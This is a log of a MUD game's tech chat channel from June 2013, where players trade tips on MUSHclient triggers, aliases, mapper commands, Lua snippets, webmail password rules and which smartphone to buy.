T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: as I said, I wrote the plugin to output into a format which was intended to be imported into other tools
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: write it using the visual interface, those show you the commands that they use
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Okay, what happens when you type: for _,v in pairs(ClanStats) do print(v["GQs"]) end -- you should get a LONG list, so sorry for the spam...
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i have no sqlite programs, except mush
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: um GQs is in the subtable, the main table is the list of names
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: You wouldn't need any sqlite programs, by the way, to input/output the data. Just a thought. Not my strong suit, but I've dabbled a bit in it.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Right, that's why I have v["GQs"] and am not using k.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hmm lots of numbers, i then tried the sort again and it worked, im puzzled
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: Book of Etzli chuckles politely.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: The lots of numbers showed that the for k,v in pairs DOES work... glad it's sorting now, though.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: doesent work one min, works the next, damn code, why did i decide to dabble
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Ranrr Tech: that's coding for you
T3/r7/2013-06-16.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: what does it mean if it says unfinished string?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: missing a "?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: thanks
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: in muchclient how do i remove a trigger with a sound once i don't want it anymore? i tried removing the trigger but it
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: in muchclient it's still working
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: what is the trigger still there , or still fiering but not there
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: found it, sorry i had two of them
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tymas Tech: Why does my screen go blank for a second or so sometimes and then everything goes back to normal..?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Ranrr Tech: Maybe your vga cabel is not connected properly...?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tymas Tech: It only happens to the Mush screen
T3/r7/2013-06-16.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: or computer freezes to load?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: how can i get muchclient to play sounds together for instance i have one sound for when i get experience and another for the gold coins, but it only plays the gold coins one unless i remove it then it plays the experience one
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tymas Tech: not even to the map or score, just this window
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: when i kill a mob
T3/r7/2013-06-16.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: put in a dofater that it doesnt play 2 at the same time,though if it fires again in that time,itll be a problem(like it was)
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: a doafter?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: anyone know how to use basts spellup plugin?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: it's not spelling me up
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Frolo Tech: bsp resume or bsp refresh should help
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: says it's refreshing and resetting events but
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: nothing happens when i need the spells
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: type "tags", make sure that SPELLUPS are YES and Global are On
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Frolo Tech: if that is not helping, try bsp help and look at the other options or read the help file on the homepage or see if your spells are all on
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Frolo Tech: i want to make a client side alias with a name in it, what is th placeholder for the name?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: alias AliasName command
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Frolo Tech: for example kill %1 expands to strangle %1 and kill %1
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Frolo Tech: clientside mushclient
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Taokan Tech: hey, so I managed to get my campaign target list from winkle winkle stuck up above the window, and can't seem to drag it down.  Suggestions?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: resetaard
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: If you are using the aard package
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: try xset reset gui
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Taokan Tech: perfect, that worked.  Thanks Kinjin!
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: how do I reset the speedwalks in a certain area with mush? They are completely screwed up :-)
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: purgeroom
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: Doesnt work for winkles scripts :-/
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: hm? it should
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: i had a broken path too and purging it fixed
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: weird
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: make the first room isn't set right in ww?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: maybe*
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tynrael Tech: I have several areas where if I run to them it takes me down a few levels to like the basement with Winkles  :p
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: what area is it btw
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: tyn you can xsetmark where you want to the xrt to go
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tynrael Tech: I mean if I just xrt to an area by name
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tynrael Tech: I'll have to fuss with it when I see it happen again
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: yeah that I know, but the speedwalks within the area are all messed up
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: you doublecheck with mapper where ?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: yeah thats the one I used :-/
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: if not you can always just purge the area and remap it :P
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: thats what I want to di
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: crn: check your custom exits
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: do
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tynrael Tech: on a side note I have several areas that are fully explored on my mapper but only partially 'explored' when I type explored- any ideas as to why?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: the mapper came with some areas in it
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: aardMUSH ships with continents, aylor, underdark and some other lowbie areas in it already
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Hanslanda Tech: Aard only cares about whether your character has been to a particular room, not that your mapper has.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: the correct command for completely clearing an area in winkles script, is purgeroom? odd that it doesnt work
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: winkle's script doesn't know anything about rooms, that's all handled by Fiendish's mapper
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: and it's purgezone for an area
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: Ok, it still doesn't work though. :-/
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: it's a mapper command...
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: try typing "mapper help utils"
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: Rofl, nothing happens.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Crnogorac Tech: not sure how that is even possible
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: that would be incorrect...something happens
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: is there other commands like * %1 for trigers/aliases and what do they do?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: is there maby a website i can read about it?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}BlueBeetle Tech: hit f1 :)
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Thunderous Norton Tech: check the website for whatever client it is that you're using
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: well f1 dident help :P
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: can someone help me come up with a password tha my webmail will think iis strong? ive tied twelve  passwords that are apparently not
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: thisisnotastrongpassword
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: ok, upperkey and lowerkey and extra symbols and numbers
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: so G00dG0!!y should work :)
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: frolo nope. its weak.
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: really, why is that?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ixle Tech: there are online password generators
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: VaMp!rE dVdE?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: S3t(pswrd+scks)
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ixle Tech: probably safer than letting one of us come up with one
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: same with "[8-M]alexi'spi" also weak
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: frolo its probably already in use by someone else.
T3/r7/2013-06-17.txt.gz:{chan ch=tech}StarsOscar Tech: ThisIsAStrongPasswoedIndeedBecauseItIsLong
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: hmm, if they think this one is weak then you should point me to that webmail site, they seem to have a real strong encryption^^
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: frolo yahoo.com
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: make it 8=======DMr BiG
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: a difficult password for me is one i have to resituate my keyboard to type
T3/r7/2013-06-17.txt.gz:{chan ch=tech}StarsOscar Tech: see also http://xkcd.com/936/
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: see if you can go by that RoT
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ixle Tech: Is that horse battery stapler?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: i tried the password and the green lantern behind the stuff told me "very secure", so what are you trying?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ixle Tech: (I knew it)
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: frolo wth. i typed just what you said
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: with zeros and exclamation marks?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}StarsOscar Tech: another insteresting apssword would be ==]The=Sword=of=Champions>>
T3/r7/2013-06-17.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you want decently safe webmail, hushmail is awesome but you have to login every so often or they delete your mailbox
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: frolo yep.
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: rand. i just want past his freaking new password screen
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: then it is weird, because i just tried it at yahoo and it says 4 points, secure password
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: for me it says weak please choose a stronger password
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: hmm, perhaps we are at different yahoo.com websites :)
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: and the hints say, upper and lowercase, numbers and special signs, and more than 6 signs
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: the sword is also weak.
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: i have no idea what you are doing, but if you have all 4 different signs in there, don't use your name and your login and have more than 6 signs, the green thing goes to very strong and if it does not, it is a problem with you, not the password
T3/r7/2013-06-17.txt.gz:{chan ch=tech}StarsOscar Tech: maybe you have another language input?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: stars tied five inputs already
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: i tried it on the german and the international page, no idea on which you tried it
T3/r7/2013-06-17.txt.gz:{chan ch=tech}StarsOscar Tech: many site doen't handle non-english input well
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ah. i tried regular .com lemme try .de
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: i tried both^^
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: .de and .com
T3/r7/2013-06-17.txt.gz:{chan ch=tech}StarsOscar Tech: i mean keyboard input language...
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Frolo Tech: the german keyboard doesn't matter, the password i told him did hold no special keys
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: germany works
T3/r7/2013-06-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: for a minute i wondered if got mitm'd. thanks for the goodgollying frolo
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Gelvane Tech: How can I configure putty so I can use backspace ?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ixle Tech: It's in the settings, but don't use putty, use a real mud client.
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: keyboard settings
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Gelvane Tech: I've tried in keyboard setting however it only shows ^h or ^?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Gelvane Tech: have to use putty because on laptop from my work 
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ixle Tech: Put aardmushclient on a usb stick?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Pei Tech: how do i get the bast spellup plugin to add a new spell... i typed bsp sadd sense anger it didn't work
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Pei Tech: sorry nevermind
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Any Java/Android gurus? Have an application using the GestureOverlayView that's getting my touch events, and I'm passing those via TCP/UDP to a 2nd phone ... How can I 1) make the mouse pointer visible programmatically via Java and 2) After made visible, set the location of the pointer to `x` and `y` (passed from client)
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Vonliege Tech: is there any consequence to having redundent 'mapper portals' registered?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: is there a poker plug-in for aardmush , visualizing cards in place of things like 9S is very difficult for me
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ayasinda Tech: For me too but I have never heard of such a plugin
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Tech: Le do, lo  Shakia looks at Wildkard and goes "Hmmmm."
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: poke shakia
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: lol
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: that'd not be too bad .. usually i can envision something eventually with a little imagination in aard, but pokers interface is just too clunky for me to do that easily
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: yep, maybe some asci cards?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: but with a plugin seems like it would be fairly easy to pullup bitmaps...
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: oh, there's an option to show ascii cards afair
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ayasinda Tech: there is yes but even that wont do me any good
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: ok how much to make me one tech heads :)
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Vexthorne Tech: So I have had Bast's plugins installed without issue but now today it doesn't track quests or campaigns at all.  Anyone know how to fix this?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: did you try restarting your client?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Vexthorne Tech: I did
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: I guess I can look into making one, anyone know a good guide to mushclient scripting/programming
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ayasinda Tech: http://www.mushclient.com/forum/bbshowpost.php?bbsubject_id=6030
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: thanks
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: mush scripting can be done in many languages but they tote lua fairly well
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Wildkard Tech: nice so it has an api I can call from c#?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ayasinda Tech: http://www.mushclient.com/forum/bbshowpost.php?bbsubject_id=6030
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ayasinda Tech: oops sorry
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Tymas Tech: if you are in a no-reclal/no-portal room, how do u set mapper so that it walks to a nonpk room to go and recall?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Ayasinda Tech: I use mapper goto <roomid>
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Tymas Tech: how do you set an alias through output window
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Tymas Tech: command window8
T3/r7/2013-06-17.txt.gz:{chan ch=tech}HuntGather Tech: Any way to suppress channels from showing up in Output (so they are only in Communication Log)?
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Daloran Tech: Yes.
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Pei Tech: wow really>
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Daloran Tech: right click in com log, 
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Daloran Tech: "echo channels in main window"
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Daloran Tech: well.. you can figure it out from there
T3/r7/2013-06-17.txt.gz:{chan ch=tech}HuntGather Tech: Thank you good sir.
T3/r7/2013-06-17.txt.gz:{chan ch=tech}Daloran Tech: np.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: does gcmp have data for what im engaged in combat with? or do i have trigger for that 
T3/r7/2013-06-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: most of the gmcp stuff is on the wiki
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: is there a way to reset window locations in aardmush?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Narhtan Tech: yes but I cant remember
T3/r7/2013-06-18.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: resetaard will put them to default pos iirc
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Narhtan Tech: Thats it ^
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: perfect thanks
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Shue Tech: is this a bug? i am at A Ring of Trees, and when i 'Set Trap Poacher', there is no response
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Tech isn't the place for that :P
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Ayasinda Tech: no bug
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Do as was suggested on newbie :P
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Shue Tech: oh apologies, i missed the message
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: in mush i've always had the comunications log stay on top of other windows, now it is staying underneath the other windows any ideas?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Ayasinda Tech: right click the windows
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: right-click, bring to front
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: thanks
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: thanks kin
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Jeejee Tech: can you add some waiting time if you use some specific cexit with a mapper?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Ayasinda Tech: yes. all described in mapper help
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Jeejee Tech: i mean if i have added already a cexit and it need some time (for example in nenukon to get the camp part) you need to say something and then it needs to wait to continue with speedwalk
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: re-make that cexit with the wait
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Jeejee Tech: ok, found it, thx
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: Jeejee bows before you. 
T3/r7/2013-06-18.txt.gz:{chan ch=tech}BlueBeetle Tech: there was a site i forget it was good for finding   decent priced capicators etc osed it only once and now i cant find em... :p anyone  know ?:p
T3/r7/2013-06-18.txt.gz:{chan ch=tech}BlueBeetle Tech: ahh good ole email search :p nm  found it (Talon Electronics LLC)
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Medieval Jameson Tech: how to turn spouse text red
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: call them a B
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Wildkard Tech: muhahaha
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Medieval Jameson Tech: any answers
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: help colorset (or colourset)
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: Hi, how 2 tell which is best out of iphone/android/blackberry/nokia/windows-phone
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: depends for who, for what
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: the one you buy is the best
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Ixle Tech: Go into a phone store and mess around
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: blackberry is out of consideration by default.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: not really
T3/r7/2013-06-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: iphone is not cool
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: dont sleep on the pim msg, if you have international friends
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: just wanna be one of the cool kids for once
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: oh, than get an iphone, any gen..kids are dumb
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: write letters, ditch phones
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: yeah, a phone can make that happen
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: which one does the most stuff
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: identical
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: they all pretty much can do anything you want
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: I heard the Lumia's (those are the solar-powered smartphones) are having big problems, so Nokia's probably out.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: are some compatible with more games than others
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: most mobile games are shat
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: you just pay to win like aard or there are never updates and you just cap out
T3/r7/2013-06-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: if you play games with your phone, you never get a girlfriend
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: I have to message this girl on wotsap or something like that
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: at least that's what it sounded like
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: that's why I said blackberry was out.  Perhaps with BB10 or whatever is going on now changed the app availability, but prior to that almost nothing supported the BB platform so you lost out on pretty much every popular app.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: ok, so not blackberry, not nokia, ok
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: that leaves iphone/windows/android
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: just buy an iphone, you seem like the type
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: orly?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: I wonder which ones have the best cameras
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: android by far has the marketshare, so if there's an app it's very likely going to be available for android.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: nokia
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: what about HTC?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yes, buy iphone. and always remember that one poor chinese factory worker has jumped to death for you
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: that we're aware of.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: is there a big difference in price range between iphone/windows/android?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: some guy somewhere hated his job..wow let me change my life
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: as if the others aren't made by the same poor chinese factory workers...those are chipmaker factories, not apple factories :P
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: what about an itablet 
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: I paid about $25 for my current phone, it has 2GB of memory for music and stuff
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: Samsung leases time from apple, I heard.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: lol $25
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: not as comfortable on your ear
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: yeah $25, however...seems some of the guys that paid hundreds still only have 2GB storage, what's with that?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: sd cards are cheap?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: what's the biggest SD card you can get
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: they bought the phone directly, rather than subsidized by the carrier.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: most phones will take a 64 gig
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Hanslanda Tech: big enough that you never need to buy another one for the next 6 phones.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: 64GB cost a ton tho?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Zade Tech: $25 - how long is the contract and at what monthly rate
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: like 40 bucks idk its cheap
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: amazon
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: I paid $25 for pay as you go phone. It has internet, plays java games, has qwerty keyboard, 2GB storage.
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: is called mojo chat phone, and not a really good phone, but for $25 it's way overpowered
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: and can probably even get on aard using midpssh
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: can it make calls?
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: dunno
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: think so
T3/r7/2013-06-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: its a cell phone, not a house phone guy
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: I don't really ring people or anything, I just text and play chess
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tigernuts Tech: get a palm pilot
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: still $700 for a smart phone seems a lot
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: I have one of those :-)
T3/r7/2013-06-18.txt.gz:{chan ch=tech}GraySong Gregor Tech: you could get a laptop for that
T3/r7/2013-06-18.txt.gz:{chan ch=tech}Tech: laptop doesn't fit in your pocket tho
